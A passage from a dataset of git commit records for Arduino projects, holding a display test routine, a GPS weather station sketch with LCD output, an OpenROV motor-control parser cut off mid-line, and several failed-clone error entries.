i=0; i<display.height()\/2-2; i+=2) {\n display.drawRoundRect(i, i, display.width()-2*i, display.height()-2*i, display.height()\/4, WHITE);\n display.display();\n }\n}\n\nvoid testfillroundrect(void) {\n uint8_t color = WHITE;\n for (int16_t i=0; i<display.height()\/2-2; i+=2) {\n display.fillRoundRect(i, i, display.width()-2*i, display.height()-2*i, display.height()\/4, color);\n if (color == WHITE) color = BLACK;\n else color = WHITE;\n display.display();\n }\n}\n \nvoid testdrawrect(void) {\n for (int16_t i=0; i<display.height()\/2; i+=2) {\n display.drawRect(i, i, display.width()-2*i, display.height()-2*i, WHITE);\n display.display();\n }\n}\n\nvoid testdrawline() { \n for (int16_t i=0; i<display.width(); i+=4) {\n display.drawLine(0, 0, i, display.height()-1, WHITE);\n display.display();\n }\n for (int16_t i=0; i<display.height(); i+=4) {\n display.drawLine(0, 0, display.width()-1, i, WHITE);\n display.display();\n }\n delay(250);\n \n display.clearDisplay();\n for (int16_t i=0; i<display.width(); i+=4) {\n display.drawLine(0, display.height()-1, i, 0, WHITE);\n display.display();\n }\n for (int16_t i=display.height()-1; i>=0; i-=4) {\n display.drawLine(0, display.height()-1, display.width()-1, i, WHITE);\n display.display();\n }\n delay(250);\n \n display.clearDisplay();\n for (int16_t i=display.width()-1; i>=0; i-=4) {\n display.drawLine(display.width()-1, display.height()-1, i, 0, WHITE);\n display.display();\n }\n for (int16_t i=display.height()-1; i>=0; i-=4) {\n display.drawLine(display.width()-1, display.height()-1, 0, i, WHITE);\n display.display();\n }\n delay(250);\n\n display.clearDisplay();\n for (int16_t i=0; i<display.height(); i+=4) {\n display.drawLine(display.width()-1, 0, 0, i, WHITE);\n display.display();\n }\n for (int16_t i=0; i<display.width(); i+=4) {\n display.drawLine(display.width()-1, 0, i, display.height()-1, WHITE); \n display.display();\n }\n delay(250);\n}\n\nvoid testscrolltext(void) {\n display.setTextSize(2);\n display.setTextColor(WHITE);\n display.setCursor(10,0);\n display.clearDisplay();\n display.println(\"scroll\");\n display.display();\n \n display.startscrollright(0x00, 0x0F);\n delay(2000);\n display.stopscroll();\n delay(1000);\n display.startscrollleft(0x00, 0x0F);\n delay(2000);\n display.stopscroll();\n delay(1000); \n display.startscrolldiagright(0x00, 0x07);\n delay(2000);\n display.startscrolldiagleft(0x00, 0x07);\n delay(2000);\n display.stopscroll();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ssd1306_128x64_i2c.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"10c7decfc382b85037eb5129638a60e4fd099c13","subject":"added alarm enable&disable command","message":"added alarm enable&disable command\n","repos":"jeremywrnr\/wampum,jeremywrnr\/wampum,jeremywrnr\/wampum","old_file":"arduino\/mainhrm\/mainhrm.ino","new_file":"arduino\/mainhrm\/mainhrm.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/jeremywrnr\/wampum.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"659fe17c4eac4ddfa1a87e77e85cbdc59161fe05","subject":"Added I2C board for 2-wire display control","message":"Added I2C board for 2-wire display control","repos":"YannChemin\/MWS,YannChemin\/MWS,YannChemin\/MWS,YannChemin\/MWS,YannChemin\/MWS,YannChemin\/MWS","old_file":"mwsLCDI2C\/mwsLCDI2C.ino","new_file":"mwsLCDI2C\/mwsLCDI2C.ino","new_contents":"\/* \n Weather Shield Example\n By: Nathan Seidle\n SparkFun Electronics\n Date: November 16th, 2013\n License: This code is public domain but you buy me a beer if you use this and we meet someday (Beerware license).\n \n Much of this is based on Mike Grusin's USB Weather Board code: https:\/\/www.sparkfun.com\/products\/10586\n \n This code reads all the various sensors (wind speed, direction, rain gauge, humidty, pressure, light, batt_lvl)\n and reports it over the serial comm port. This can be easily routed to an datalogger (such as OpenLog) or\n a wireless transmitter (such as Electric Imp).\n \n Measurements are reported once a second but windspeed and rain gauge are tied to interrupts that are\n calculated at each report.\n \n This example code assumes the GP-635T GPS module is attached.\n \n *\/\n\n#include <Wire.h> \/\/I2C needed for sensors\n#include \"MPL3115A2.h\" \/\/Pressure sensor\n#include \"HTU21D.h\" \/\/Humidity sensor\n#include <SoftwareSerial.h> \/\/Needed for GPS\n#include <TinyGPS++.h> \/\/GPS parsing\n#include <LiquidCrystal_I2C.h>\/\/16x2 LCD library\n\/\/It requires using fm's LiquidCrystal library replacement:\n\/\/https:\/\/bitbucket.org\/fmalpartida\/new-liquidcrystal\/wiki\/Home\n\n\/\/This is for the 16x2 LCD\nLiquidCrystal_I2C lcd(0x27, 2, 1, 0, 4, 5, 6, 7, 3, POSITIVE);\n\n\/\/GPS\nTinyGPSPlus gps;\nstatic const int RXPin = 5, TXPin = 4; \/\/GPS is attached to pin 4(TX from GPS) and pin 5(RX into GPS)\nSoftwareSerial ss(RXPin, TXPin); \n\n\/\/Pressure & Humidity sensors on the weather shield\nMPL3115A2 myPressure; \/\/Create an instance of the pressure sensor\nHTU21D myHumidity; \/\/Create an instance of the humidity sensor\n\n\/\/ Change the rain bucket size with design\nconst float RAINBUCKET = 0.011*25.4;\/\/ This is WS2080 in mm\n\/\/const float RAINBUCKET = 0.01*25.4;\/\/ This is Davisnet Rain collector 2 in mm (to confirm)\n\n\/\/Hardware pin definitions\n\/\/-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\/\/ digital I\/O pins\nconst byte WSPEED = 3;\/\/WIND SPEED is DIGITAL pin 3\nconst byte RAIN = 2;\/\/ RAIN is DIGITAL pin 2\nconst byte STAT1 = 7;\/\/Status LED Blue\nconst byte STAT2 = 8;\/\/Status LED Green\nconst byte GPS_PWRCTL = 6; \/\/Pulling this pin low puts GPS to sleep but maintains RTC and RAM\n\n\/\/ analog I\/O pins\nconst byte REFERENCE_3V3 = A3;\nconst byte LIGHT = A1;\nconst byte BATT = A2;\nconst byte WDIR = A0;\/\/WIND DIRECTION is ANALOG pin 0\n\/\/-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\/\/Global Variables\n\/\/-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\nlong lastSecond; \/\/The millis counter to see when a second rolls by\nbyte seconds; \/\/When it hits 60, increase the current minute\nbyte seconds_2m; \/\/Keeps track of the \"wind speed\/dir avg\" over last 2 minutes array of data\nbyte minutes; \/\/Keeps track of where we are in various arrays of data\nbyte minutes_10m; \/\/Keeps track of where we are in wind gust\/dir over last 10 minutes array of data\nbyte minutes_5m; \/\/ Niroshan this is for 5 mnts rain \n\n\/\/volatiles are subject to modification by IRQs\nlong lastWindCheck = 0;\nvolatile long lastWindIRQ = 0;\nvolatile byte windClicks = 0;\n\nlong lastRainCheck = 0;\nvolatile long lastRainIRQ = 0;\nvolatile byte rainClicks = 0;\n\n\/\/We need to keep track of the following variables:\n\/\/Wind speed\/dir each update (no storage)\n\/\/Wind gust\/dir over the day (no storage)\n\/\/Wind speed\/dir, avg over 2 minutes (store 1 per second)\n\/\/Wind gust\/dir over last 10 minutes (store 1 per minute)\n\/\/Rain over the past hour (store 1 per minute)\n\/\/Total rain over date (store one per day)\n\nbyte windspdavg[120]; \/\/120 bytes to keep track of 2 minute average\nint winddiravg[120]; \/\/120 ints to keep track of 2 minute average\n\/\/float windgust_10m[10]; \/\/10 floats to keep track of 10 minute max \/\/Yann: to check if OK\n\/\/int windgustdirection_10m[10]; \/\/10 ints to keep track of 10 minute max\n\n\/\/These are all the weather values that wunderground expects:\n\/\/int winddir = 0; \/\/ [0-360 instantaneous wind direction]\n\/\/float windspeedms = 0; \/\/ [mph instantaneous wind speed]\n\/\/float windgustms = 0; \/\/ [mph current wind gust, using software specific time period]\n\/\/int windgustdir = 0; \/\/ [0-360 using software specific time period]\n\/\/float windspdms_avg2m = 0; \/\/ [mph 2 minute average wind speed mph]\n\/\/int winddir_avg2m = 0; \/\/ [0-360 2 minute average wind direction]\n\/\/float windgustms_10m = 0; \/\/ [mph past 10 minutes wind gust mph ]\n\/\/int windgustdir_10m = 0; \/\/ [0-360 past 10 minutes wind gust direction]\n\/\/float humidity = 0; \/\/ [%]\n\/\/float tempc = 0; \/\/ [temperature C]\nfloat dailyrainin = 0; \/\/ [rain inches so far today in local time]\nfloat rainin = 0; \/\/ [rain inches over the past hour)] -- the accumulated rainfall in the past 60 min\nfloat rainin_5m = 0; \/\/ [rain inches over the past hour)] -- the accumulated rainfall in the past 60 min\nbyte Rainindi = 0; \/\/ 5 minutes rain Flag\n\/\/float baromin = 30.03;\/\/ [barom in] - It's hard to calculate baromin locally, do this in the agent\n\/\/float pressure;\n\/\/float dewptf; \/\/ [dewpoint F] - It's hard to calculate dewpoint locally, do this in the agent\n\n\/\/float batt_lvl = 11.8; \/\/[analog value from 0 to 1023]\n\/\/float light_lvl = 455; \/\/[analog value from 0 to 1023]\n\n\n\/\/-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n\/\/Interrupt routines (these are called by the hardware interrupts, not by the main code)\n\/\/-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\/\/void rainIRQ()\n\/\/ Count rain gauge bucket tips as they occur\n\/\/ Activated by the magnet and reed switch in the rain gauge, attached to input D2\n\/\/{\n\/\/ if (millis() - rainlast > 10) \/\/ ignore switch-bounce glitches less than 10mS after initial edge\n\/\/ {\n\/\/ rainlast = millis(); \/\/ set up for next event\n\/\/ dailyrainin += RAINBUCKET; \/\/Each dump is RAINBUCKET of water\n\/\/ rainHour[minutes] += RAINBUCKET; \/\/Add this minute's amount of rain\n \/\/rain5m[minutes_5m] += RAINBUCKET; \/\/ Add this minute's amout of rain \n\/\/ }\n \/\/Removed for dynamic memory reduction\n \/\/Nirosha \n \/\/Rain flag (1)\n \/\/if(rain5m[minutes_5m] > 0)\n \/\/{\n \/\/ Rainindi=1;\n \/\/}\n \/\/Niroshan\n\/\/}\n\nvoid rainIRQ()\n\/\/ Count rain gauge bucket tips as they occur\n\/\/ Activated by the magnet and reed switch in the rain gauge, attached to input D2\n{\n if (millis() - lastRainIRQ > 20) \/\/ Ignore switch-bounce glitches less than 20ms after the reed switch closes\n {\n lastRainIRQ = millis(); \/\/Grab the current time\n rainClicks++; \/\/There is RAINBUCKET for each click per second.\n }\n}\n\nvoid wspeedIRQ()\n\/\/ Activated by the magnet in the anemometer (2 ticks per rotation), attached to input D3\n{\n if (millis() - lastWindIRQ > 20) \/\/ Ignore switch-bounce glitches less than 2x10ms (142MPH\/2 max reading) after the reed switch closes\n {\n lastWindIRQ = millis(); \/\/Grab the current time\n windClicks++; \/\/There is 1.492MPH for each click per second.\n }\n}\n\n\nvoid setup()\n{\n Serial.begin(9600);\n \n \/\/ set up the LCD's number of columns and rows:\n lcd.begin(16, 2);\n lcd.backlight();\n lcd.clear();\n lcd.print(F(\"Display ON\"));\n\n ss.begin(9600); \/\/Begin listening to GPS over software serial at 9600. This should be the default baud of the module.\n Serial.print(F(\"lon,lat,altitude,sats,date,GMTtime,winddir\"));\n Serial.print(F(\",windspeedms,windgustms,windspdms_avg2m,winddir_avg2m,windgustms_10m,windgustdir_10m\"));\n Serial.print(F(\",humidity,tempc,raindailymm,rainhourmm,rain5mmm,rainindicate,pressure,batt_lvl,light_lvl\"));\n\n pinMode(STAT1, OUTPUT); \/\/Status LED Blue\n pinMode(STAT2, OUTPUT); \/\/Status LED Green\n\n pinMode(GPS_PWRCTL, OUTPUT);\n digitalWrite(GPS_PWRCTL, HIGH); \/\/Pulling this pin low puts GPS to sleep but maintains RTC and RAM\n\n pinMode(WSPEED, INPUT_PULLUP); \/\/ input from wind meters windspeed sensor\n pinMode(RAIN, INPUT_PULLUP); \/\/ input from wind meters rain gauge sensor\n\n pinMode(REFERENCE_3V3, INPUT);\n pinMode(LIGHT, INPUT);\n\n \/\/Configure the pressure sensor\n myPressure.begin(); \/\/ Get sensor online\n myPressure.setModeBarometer(); \/\/ Measure pressure in Pascals from 20 to 110 kPa\n myPressure.setOversampleRate(7); \/\/ Set Oversample to the recommended 128\n myPressure.enableEventFlags(); \/\/ Enable all three pressure and temp event flags \n\n \/\/Configure the humidity sensor\n myHumidity.begin();\n \n \/\/ attach external interrupt pins to IRQ functions\n attachInterrupt(0, rainIRQ, FALLING);\n attachInterrupt(1, wspeedIRQ, FALLING);\n\n \/\/ turn on interrupts\n interrupts();\n digitalWrite(STAT1, HIGH); \/\/Blink stat LED 1 second\n delay(1000);\n digitalWrite(STAT1, LOW); \/\/Blink stat LED\n delay(1000);\n smartdelay(60000); \/\/Wait 60 seconds, and gather GPS data\n minutes = gps.time.minute();\n \/\/minutes_5m = gps.time.minute();\n minutes_10m = gps.time.minute();\n seconds = gps.time.second();\n lastSecond = millis();\n}\n\nvoid loop()\n{\n \/\/Keep track of which minute it is\n if(millis() - lastSecond >= 1000)\n {\n digitalWrite(STAT1, HIGH); \/\/Blink stat LED\n \/\/Take a speed and direction reading every second for 2 minute average\n seconds_2m += millis() - lastSecond; \n if(seconds_2m > 119) seconds_2m = 0;\n\n \/\/Calc the wind speed and direction every second for 120 second to get 2 minute average\n windspdavg[seconds_2m] = (int)get_wind_speed();\n winddiravg[seconds_2m] = get_wind_direction();\n\n seconds += millis() - lastSecond; \n lastSecond = millis();\n \/\/Minutes loop\n if(seconds > 59)\n {\n seconds = 0;\n\n if(++minutes % 60 == 0) minutes = 0;\n if(++minutes_10m % 10 == 0) minutes_10m = 0;\n if(++minutes_5m % 5 == 0) Rainindi = 0;\n if(++minutes_5m % 5 == 0) rainin_5m = 0;\n if(minutes_5m % 5 == 0) minutes_5m = 0;\n\n rainin = 0; \/\/Zero out this minute's rainfall amount\n\n \/\/Report all readings every minute\n printWeather();\n }\n digitalWrite(STAT1, LOW); \/\/Turn off stat LED\n }\n\n smartdelay(800); \/\/Wait 1 second, and gather GPS data\n}\n\n\/\/While we delay for a given amount of time, gather GPS data\nstatic void smartdelay(unsigned long ms)\n{\n unsigned long start = millis();\n do \n {\n digitalWrite(STAT1, HIGH); \/\/Blink stat LED\n delay(500);\n while (ss.available()) gps.encode(ss.read());\n digitalWrite(STAT1, LOW); \/\/Blink stat LED\n delay(500);\n } \n while (millis() - start < ms);\n}\n\n\/\/Returns the voltage of the light sensor based on the 3.3V rail\n\/\/This allows us to ignore what VCC might be (an Arduino plugged into USB has VCC of 4.5 to 5.2V)\nfloat get_light_level()\n{\n float operatingVoltage = analogRead(REFERENCE_3V3);\n float lightSensor = analogRead(LIGHT);\n operatingVoltage = 3.3 \/ operatingVoltage; \/\/The reference voltage is 3.3V\n lightSensor = operatingVoltage * lightSensor;\n return(lightSensor);\n}\n\n\/\/Returns the voltage of the raw pin based on the 3.3V rail\n\/\/This allows us to ignore what VCC might be (an Arduino plugged into USB has VCC of 4.5 to 5.2V)\n\/\/Battery level is connected to the RAW pin on Arduino and is fed through two 5% resistors:\n\/\/3.9K on the high side (R1), and 1K on the low side (R2)\nfloat get_battery_level()\n{\n float operatingVoltage = analogRead(REFERENCE_3V3);\n float rawVoltage = analogRead(BATT);\n operatingVoltage = 3.30 \/ operatingVoltage; \/\/The reference voltage is 3.3V\n rawVoltage = operatingVoltage * rawVoltage; \/\/Convert the 0 to 1023 int to actual voltage on BATT pin\n rawVoltage *= 4.90; \/\/(3.9k+1k)\/1k - multiple BATT voltage by the voltage divider to get actual system voltage\n return(rawVoltage);\n}\n\n\/\/Returns the instataneous wind speed\nfloat get_wind_speed()\n{\n float deltaTime = millis() - lastWindCheck; \/\/750ms\n deltaTime \/= 1000.0; \/\/Convert to seconds\n float windSpeed = (float)windClicks \/ deltaTime; \/\/3 \/ 0.750s = 4\n windClicks = 0; \/\/Reset and start watching for new wind\n lastWindCheck = millis();\n windSpeed *= 1.492; \/\/4 * 1.492 = 5.968MPH\n windSpeed *= 0.44704; \/\/5.968MPH * 0.44704 = 2.6679 m\/s\n if(windSpeed > 0.2) windSpeed -= 0.2;\n return(windSpeed);\n}\n\n\/\/Rain stats\nfloat get_rain()\n{\n float rain = (float)rainClicks * RAINBUCKET; \/\/3 * 0.011\" = 0.033\"\n rainClicks = 0; \/\/Reset and start watching for new wind\n if(rain > 0.2) rain -= 0.2;\/\/There is a persisting glitch in the IRQ\n return(rain);\n}\n\n\/\/Read the wind direction sensor, return heading in degrees\nint get_wind_direction() \n{\n unsigned int adc = analogRead(WDIR); \/\/ get the current reading from the sensor\n\n \/\/ The following table is ADC readings for the wind direction sensor output, sorted from low to high.\n \/\/ Each threshold is the midpoint between adjacent headings. The output is degrees for that ADC reading.\n \/\/ Note that these are not in compass degree order! See Weather Meters datasheet for more information.\n\n if (adc < 380) return (113);\/\/NOT WORKING\n else if (adc < 393) return (68);\/\/NOT WORKING\n else if (adc < 414) return (90);\/\/NOT WORKING\n else if (adc < 456) return (90);\/\/(158);\/\/E is 90 degrees CW from North = 0\n else if (adc < 508) return (135);\/\/SE is 135 degrees CW from North = 0\n else if (adc < 551) return (180);\/\/(203);\/\/S is 180 degrees CW from North = 0\n else if (adc < 615) return (45);\/\/(180);\/\/NE is 45 degrees CW from North = 0\n else if (adc < 680) return (23);\/\/NOT WORKING\n else if (adc < 746) return (225);\/\/(45);\/\/SW is 225 degrees CW from North = 0\n else if (adc < 801) return (248);\/\/NOT WORKING\n else if (adc < 833) return (0);\/\/(225);\/\/N is 0 degrees CW from North = 0\n else if (adc < 878) return (338);\/\/NOT WORKING\n else if (adc < 913) return (325);\/\/(0);\/\/NW is 325 degrees CW from North = 0\n else if (adc < 940) return (293);\/\/NOT WORKING\n else if (adc < 967) return (270);\/\/(315);\/\/W is 270 degrees CW from North = 0\n else if (adc < 990) return (270);\/\/NOT WORKING\n else return (-1); \/\/ error, disconnected?\n}\n\n\n\/\/Prints the various variables directly to the port\n\/\/I don't like the way this function is written but Arduino doesn't support floats under sprintf\nvoid printWeather()\n{\n \/\/Turn on orange led during data gathering\n digitalWrite(STAT2, HIGH); \/\/Turn on stat LED\n\n \/\/Calculates each of the variables that wunderground is expecting\n \/\/Calc rain now\n float rain = get_rain();\n dailyrainin += rain; \/\/Each dump is RAINBUCKET of water\n rainin += rain;\/\/Add to this hour's amount of rain\n \/\/rainin_5m += rain;\/\/Add to these 5 minutes' amount of rain\n if(rain) Rainindi=1; else Rainindi=0; \/\/Rain flag\n \n \/\/Calc winddir\n \/\/int winddir = get_wind_direction();\n\n \/\/Calc windspeed\n \/\/float windspeedms = get_wind_speed();\n\n \/\/Calc windspdms_avg2m\n float temp = 0;\n for(int i = 0 ; i < 120 ; i++)\n temp += windspdavg[i];\n temp \/= 120.0;\n float windspdms_avg2m = temp;\n\n \/\/Calc winddir_avg2m\n temp = 0; \/\/Can't use winddir_avg2m because it's an int\n for(int i = 0 ; i < 120 ; i++)\n temp += winddiravg[i];\n temp \/= 120;\n int winddir_avg2m = temp;\n\n \/\/Calc humidity\n \/\/float humidity = myHumidity.readHumidity();\n \/\/float temp_h = myHumidity.readTemperature();\n \/\/Serial.print(F(\" TempH:\"));\n \/\/Serial.print(temp_h, 2);\n\n \/\/Calc tempc from pressure sensor\n \/\/float tempc = myPressure.readTemp();\n \/\/Serial.print(F(\" TempP:\"));\n \/\/Serial.print(tempc, 2);\n\n \/\/Calc pressure\n \/\/float pressure = myPressure.readPressure();\n\n \/\/Calc dewptf\n\n \/\/Calc light level\n \/\/float light_lvl = get_light_level();\n\n \/\/Calc battery level\n \/\/float batt_lvl = get_battery_level();\n digitalWrite(STAT2, LOW); \/\/Turn off stat LED\n\/\/} \/\/END OF GO CALC WEATHER FUNCTION\n\n\n Serial.println();\n Serial.print(gps.location.lng(), 6);\n Serial.print(\",\");\n Serial.print(gps.location.lat(), 6);\n \/\/Serial.print(\",altitude=\");\n Serial.print(\",\");\n Serial.print(gps.altitude.meters());\n \/\/Serial.print(\",sats=\");\n Serial.print(\",\");\n Serial.print(gps.satellites.value());\n\n char sz[32];\n Serial.print(\",\");\n sprintf(sz, \"%02d-%02d-%02d\", gps.date.year(), gps.date.month(), gps.date.day());\n Serial.print(sz);\n\n \/\/Serial.print(\",time=\");\n Serial.print(\",\");\n sprintf(sz, \"%02d:%02d:%02d\", gps.time.hour(), gps.time.minute(), gps.time.second());\n Serial.print(sz);\n \n \/\/Serial.print(\",winddir=\");\n Serial.print(\",\");\n Serial.print(get_wind_direction());\n \/\/Serial.print(\",windspeedms=\");\n Serial.print(\",\");\n Serial.print(get_wind_speed(), 1);\n\n \/\/Serial.print(\",windgustms=\");\n Serial.print(\",\");\n\/\/ Serial.print(windgustms, 1);\n \/\/Serial.print(\",windgustdir=\");\n Serial.print(\",\");\n\/\/ Serial.print(windgustdir);\n \/\/Serial.print(\",windspdms_avg2m=\");\n Serial.print(\",\");\n Serial.print(windspdms_avg2m, 1);\n \/\/Serial.print(\",winddir_avg2m=\");\n Serial.print(\",\");\n Serial.print(winddir_avg2m);\n \/\/Serial.print(\",windgustms_10m=\");\n Serial.print(\",\");\n\/\/ Serial.print(windgustms_10m, 1);\n \/\/Serial.print(\",windgustdir_10m=\");\n Serial.print(\",\");\n\/\/ Serial.print(windgustdir_10m);\n \/\/Serial.print(\",humidity=\");\n Serial.print(\",\");\n Serial.print(myHumidity.readHumidity(), 1);\n \/\/Serial.print(\",tempc=\");\n Serial.print(\",\");\n Serial.print(myPressure.readTemp(), 1);\n \n \/\/Serial.print(\",raindailymm=\");\n Serial.print(\",\");\n Serial.print(dailyrainin, 2);\n \/\/Serial.print(\",rainhourmm=\");\n Serial.print(\",\");\n Serial.print(rainin, 2);\n \n \/\/Serial.print(\",rain5mmm=\");\n Serial.print(\",\");\n \/\/Serial.print(rainin_5m, 2);\n \/\/Serial.print(\",rainindicate=\");\n Serial.print(\",\");\n \/\/Serial.print(Rainindi, 1);\n \n \/\/Serial.print(\",pressure=\");\n Serial.print(\",\");\n Serial.print(myPressure.readPressure(), 2);\n\n \/\/Serial.print(\",batt_lvl=\");\n Serial.print(\",\");\n Serial.print(get_battery_level(), 2);\n\n \/\/Serial.print(\",light_lvl=\");\n Serial.print(\",\");\n Serial.print(get_light_level(), 2);\n\n \/\/--------------------------\n \/\/PRINT TO LCD\n \/\/--------------------------\n\n lcd.clear();\n lcd.print(F(\"Lon:\"));\n lcd.print(gps.location.lng(), 6);\n lcd.setCursor(0, 2);\n lcd.print(F(\"Lat:\"));\n lcd.print(gps.location.lat(), 6);\n delay(5000);\n \n lcd.clear();\n sprintf(sz, \"%02d-%02d-%02d\", gps.date.year(), gps.date.month(), gps.date.day());\n lcd.print(sz);\n lcd.setCursor(0, 2);\n sprintf(sz, \"%02d:%02d:%02d\", gps.time.hour(), gps.time.minute(), gps.time.second());\n lcd.print(sz);\n lcd.print(F(\" GMT\"));\n delay(5000);\n \n lcd.clear();\n lcd.print(F(\"WD: \"));\n lcd.print(get_wind_direction());\n lcd.print(F(\" N=0 CW\"));\n lcd.setCursor(0, 2);\n lcd.print(F(\"WS:\"));\n lcd.print(get_wind_speed(), 1);\n lcd.print(F(\" m\/s\"));\n delay(5000);\n \n lcd.clear();\n lcd.print(F(\"H:\"));\n lcd.print(myHumidity.readHumidity());\n lcd.print(F(\" %\"));\n lcd.setCursor(0, 2);\n lcd.print(F(\"T:\"));\n lcd.print(myPressure.readTemp());\n lcd.print(F(\" C\"));\n delay(5000);\n \n \/\/Not enough dynamic memory in UNO\n lcd.clear();\n lcd.print(\"R:\");\n lcd.print(dailyrainin);\n lcd.print(\"(mm\/d)\");\n lcd.setCursor(0, 2);\n lcd.print(F(\"P:\"));\n lcd.print(myPressure.readPressure()\/100.0);\n lcd.print(F(\" hPa\"));\n delay(5000);\n\n lcd.clear();\n lcd.print(F(\"R:\"));\n lcd.print(rain);\n lcd.print(F(\" mm\"));\n lcd.setCursor(0, 2);\n lcd.print(F(\"5 min Raining? \"));\n if(Rainindi) lcd.print(F(\"Yes\")); else lcd.print(F(\" No\"));\n delay(5000);\n \n \/\/Not enough dynamic memory in UNO\n \/\/lcd.clear();\n \/\/lcd.print(F(\"Rain 5min (mm)\"));\n \/\/lcd.setCursor(0, 2);\n \/\/lcd.print(rainin_5m);\n \/\/delay(2000);\n \n\n \/\/Not enough dynamic memory in UNO\n lcd.clear();\n lcd.print(F(\"Battery Level\"));\n lcd.setCursor(0, 2);\n lcd.print(get_battery_level());\n delay(2000);\n\n \/\/Not enough dynamic memory in UNO\n lcd.clear();\n lcd.print(F(\"Sunlight\"));\n lcd.setCursor(0, 2);\n lcd.print(get_light_level());\n \/\/delay(2000);\n\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'mwsLCDI2C\/mwsLCDI2C.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"160710e72dae2985db83fbbcd328cf30b0391872","subject":"add arduino code","message":"add arduino code\n","repos":"OnilPereyra\/TPE-domotique","old_file":"tpe2\/tpe2.ino","new_file":"tpe2\/tpe2.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/OnilPereyra\/TPE-domotique.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"41dd75fe4a13863e071fef88c909248e15763a74","subject":"removed useless code","message":"removed useless code\n","repos":"rybus\/mogette-ui,rybus\/mogette-ui,rybus\/mogette-ui","old_file":"arduino\/sketches\/indoor_sensors_master_rs485\/indoor_sensors_master_rs485.ino","new_file":"arduino\/sketches\/indoor_sensors_master_rs485\/indoor_sensors_master_rs485.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/rybus\/mogette-ui.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"769238d6413a4b6b612c541e9597f68c62df3089","subject":"Minor testing","message":"Minor testing\n","repos":"Scalpel78\/Ghost,Scalpel78\/Ghost,Scalpel78\/Ghost,Scalpel78\/Ghost,Scalpel78\/Ghost,Scalpel78\/Ghost","old_file":"Arduino\/MotorHobbykingXC10AESC\/MotorHobbykingXC10AESC.ino","new_file":"Arduino\/MotorHobbykingXC10AESC\/MotorHobbykingXC10AESC.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/Scalpel78\/Ghost.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"1166c7486c66414e051709d96c568cbc376c3273","subject":"added Arduino code - expect this to change a lot","message":"added Arduino code - expect this to change a lot\n","repos":"BrianAdams\/openrov-software-arduino,johan--\/openrov-software-arduino,binary42\/openrov-software-arduino,spiderkeys\/openrov-software-arduino,OpenROV\/openrov-software-arduino,LeeCheongAh\/openrov-software-arduino,BrianAdams\/openrov-software-arduino,dieface\/openrov-software-arduino,dieface\/openrov-software-arduino,LeeCheongAh\/openrov-software-arduino,binary42\/openrov-software-arduino,johan--\/openrov-software-arduino,spiderkeys\/openrov-software-arduino,OpenROV\/openrov-software-arduino,OpenROV\/openrov-software-arduino","old_file":"OpenROV.ino","new_file":"OpenROV.ino","new_contents":"#include <Servo.h>\n\nvoid rov_analog_write();\n\nServo tilt, light, port, vertical, starbord;\n\nint speed_offset = 31, l = 0, MIDPOINT = 128, \n p = MIDPOINT, v = MIDPOINT, s = MIDPOINT, t = MIDPOINT;\n \nint count;\n\nvoid setup(){\n\n Serial.begin(9600);\n \n tilt.attach(5);\n light.attach(6);\n port.attach(9);\n vertical.attach(10);\n starbord.attach(11);\n\n count = 0;\n}\n\nvoid loop(){\n \/\/ ========================================================================================\n \/\/ ========================================================================================\n \/\/ Get commands from OpenROV\n \/\/ ========================================================================================\n \/\/ ========================================================================================\n \n if (Serial.available()) {\n delay(30); \/\/ number of characters to be read? buffer delay (TODO: affects timing of sensors... fix this?)\n String cmd = \"\";\n char in;\n while(Serial.available() > 0) { \/\/ read full string\n in = Serial.read();\n if (in == ';') break;\n cmd += in; \/\/ concat each char to string\n }\n \n \/\/ Parse command from Beaglebone\n if (cmd == \"move_up\") { vertical.write(MIDPOINT + speed_offset); }\n else if (cmd == \"move_down\") { vertical.write(MIDPOINT - speed_offset); }\n else if (cmd == \"move_forward\") { port.write(MIDPOINT + speed_offset); starbord.write(MIDPOINT + speed_offset); }\n else if (cmd == \"move_aft\") { port.write(MIDPOINT - speed_offset); starbord.write(MIDPOINT - speed_offset); }\n else if (cmd == \"rotate_left\") { port.write(MIDPOINT - speed_offset); starbord.write(MIDPOINT + speed_offset); }\n else if (cmd == \"rotate_right\") { port.write(MIDPOINT + speed_offset); starbord.write(MIDPOINT - speed_offset); }\n else if (cmd.startsWith(\"throttle(\")) {\n cmd.replace(\"throttle(\", \"\");\n cmd.replace(\")\", \"\");\n speed_offset = atoi(&cmd[0]);\n }\n else if (cmd.startsWith(\"go(\")) {\n cmd.replace(\"go(\", \"\");\n cmd.replace(\")\", \"\");\n \n int portVal = MIDPOINT, 